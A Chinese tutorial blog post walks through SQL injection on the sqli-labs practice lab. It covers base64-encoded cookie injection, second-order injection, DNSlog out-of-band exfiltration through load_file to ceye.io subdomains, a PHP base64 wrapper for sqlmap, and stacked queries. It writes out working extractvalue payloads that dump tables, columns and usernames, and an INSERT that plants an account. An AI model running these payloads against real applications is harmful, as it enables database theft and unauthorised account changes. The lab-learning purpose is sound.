WEB漏洞-二次,加解密,DNS,堆叠等注入

WEB漏洞-二次,加解密,DNS,堆叠等注入

  • sqlilabs-less21-cookie&加解密注入
  • sqlilabs-less24-post登录框&二次注入
  • sqlilabs-less9-load_file&dnslog带外注入
  • Sqlmap注入Base64编码的注入点
  • 堆叠查询注入

sqlilabs-less21-cookie&加解密注入

WEB漏洞-二次,加解密,DNS,堆叠等注入_第1张图片
WEB漏洞-二次,加解密,DNS,堆叠等注入_第2张图片
把%3D改成=号,Decode as base64,得出结果。
WEB漏洞-二次,加解密,DNS,堆叠等注入_第3张图片
注入点在cookie,先构造admin’测试注入点格式,然后加密注入
WEB漏洞-二次,加解密,DNS,堆叠等注入_第4张图片
根据报错信息得知是(’’)类型的参数,故我们可以构造admin’ and ‘1’='1
WEB漏洞-二次,加解密,DNS,堆叠等注入_第5张图片

WEB漏洞-二次,加解密,DNS,堆叠等注入_第6张图片
WEB漏洞-二次,加解密,DNS,堆叠等注入_第7张图片
原理:接收cookie值uname赋予给cookee,对cookee进行base64_decode解码,解码之后带入数据库中。所以在注入语句要还原它的加密方式,把注入语句按照它的加密方式进行加密,然后再提交。
在这里插入图片描述

开始注入:
获取版本

admin' or extractvalue(0x7e,concat(0x7e,version(),0x7e)) and '1'='1

效果:
WEB漏洞-二次,加解密,DNS,堆叠等注入_第8张图片

获取数据库

admin' or extractvalue(0x7e,concat(0x7e,database(),0x7e)) and '1'='1

效果:WEB漏洞-二次,加解密,DNS,堆叠等注入_第9张图片

获得表

admin' or extractvalue(0x7e,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '1'='1

WEB漏洞-二次,加解密,DNS,堆叠等注入_第10张图片
获得列

admin' or extractvalue(0x7e,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) and '1'='1

效果
WEB漏洞-二次,加解密,DNS,堆叠等注入_第11张图片

获得数据

admin' or extractvalue(0x7e,concat(0x7e,(select group_concat(username) from users),0x7e)) and '1'='1

WEB漏洞-二次,加解密,DNS,堆叠等注入_第12张图片

实例
WEB漏洞-二次,加解密,DNS,堆叠等注入_第13张图片
WEB漏洞-二次,加解密,DNS,堆叠等注入_第14张图片
进行注入加密
WEB漏洞-二次,加解密,DNS,堆叠等注入_第15张图片
WEB漏洞-二次,加解密,DNS,堆叠等注入_第16张图片

sqlilabs-less24-post登录框&二次注入

二次注入无法通过扫描工具或者代码自己手工测试出来的,二次注入一般会产生在网站程序源代码才会发现的注入漏洞,从前端或者黑盒测试是看不到这个漏洞。
WEB漏洞-二次,加解密,DNS,堆叠等注入_第17张图片

less24的二次注入原理,主要分为两步:
第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
WEB漏洞-二次,加解密,DNS,堆叠等注入_第18张图片
注册新用户
WEB漏洞-二次,加解密,DNS,堆叠等注入_第19张图片
WEB漏洞-二次,加解密,DNS,堆叠等注入_第20张图片
登录进行修改密码界面,把原始密码123456修改成xxxxxx
WEB漏洞-二次,加解密,DNS,堆叠等注入_第21张图片
欺骗数据库,把id为15的密码改了
WEB漏洞-二次,加解密,DNS,堆叠等注入_第22张图片

查看源码在这里插入图片描述
在这里插入图片描述

注册的时候插入语句中将进行了转义有单引号的,所以不会被当做专门的双引号,而是普通的字符,后来修改密码用的是update语句,他没有任何的检查和过滤机制,所以导致出现了注入漏洞。
WEB漏洞-二次,加解密,DNS,堆叠等注入_第23张图片
转义后的字符出现在数据库的样子+符号可以进行转义,然后在php通过函数也能进行转义
未转义不执行:
在这里插入图片描述
已转义可执行:
WEB漏洞-二次,加解密,DNS,堆叠等注入_第24张图片
更新语句报错注入:
在php中#将后面的password判断注释掉了,所以他查询了admin4的数据,将他的密码改掉。
在这里插入图片描述

WEB漏洞-二次,加解密,DNS,堆叠等注入_第25张图片
mysql_real_escape_string() 函数以及预防数据库攻击的正确做法

字符长度限制问题
如果在前端有限制,我们可以在前端修改代码,如果在后端,或者我们看不到的地方限制了长度,或者说是数据库里面的数据刚开始就设定长度,我们是无法修改长度的。
在这里插入图片描述
WEB漏洞-二次,加解密,DNS,堆叠等注入_第26张图片

sqlilabs-less9-load_file&dnslog带外注入

DNSlog:解决了盲注不能回显数据,效率低的问题。
http://127.0.0.1:8080/sqlilabs/less-2/?id=-1
and if((select load_file(concat(’\\’,(select version()),’.1t7i2f.ceye.io\abc’))),1,0)–+
D:\Python27\python.exe dnslogSql.py -u "http://127.0.0.1:8080/sqlilabs/Less-9/?id=1’ and ({})–+
条件:高权限,有文件读取权限
WEB漏洞-二次,加解密,DNS,堆叠等注入_第27张图片

 select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.ek0jr.ceye.io\\abc'))),1,0);

WEB漏洞-二次,加解密,DNS,堆叠等注入_第28张图片
WEB漏洞-二次,加解密,DNS,堆叠等注入_第29张图片

py-DnslogSqlinj-dnslog诸如演示脚本演示
工具:https://github.com/ADOOO/DnslogSqlinj
WEB漏洞-二次,加解密,DNS,堆叠等注入_第30张图片
WEB漏洞-二次,加解密,DNS,堆叠等注入_第31张图片
WEB漏洞-二次,加解密,DNS,堆叠等注入_第32张图片

Sqlmap注入Base64编码的注入点

Base64注入
不用工具里的内置函数的话,怎么用base64编码注入
php代码如下


//test.php
$url='http://xxxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);//获取get值然后base加密
echo $payload;
$urls=$url.$payload;//php拼接用.
file_get_contents($urls);//访问
echo $urls;//输出
?>

然后用sqlmap注入
WEB漏洞-二次,加解密,DNS,堆叠等注入_第33张图片
PHP file_get_contents() 函数

堆叠查询注入

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎的不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些数据。
php中有mysqli_multi_query()执行函数才可以注入,防注入可以改为 mysqli_multi_query()
用处:有时候注入需要管理员账号密码,密码是加密,无法解密,使用堆叠注入进行插入数据,用户密码自定义的,可以正常解密登录。
在mysql中堆叠注入的示例:
在这里插入图片描述
案例:Sqlilabs-Less38-堆叠注入(多语句)

http://127.0.0.1/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

WEB漏洞-二次,加解密,DNS,堆叠等注入_第34张图片
WEB漏洞-二次,加解密,DNS,堆叠等注入_第35张图片

你可能感兴趣的:(WEB安全-SQL注入)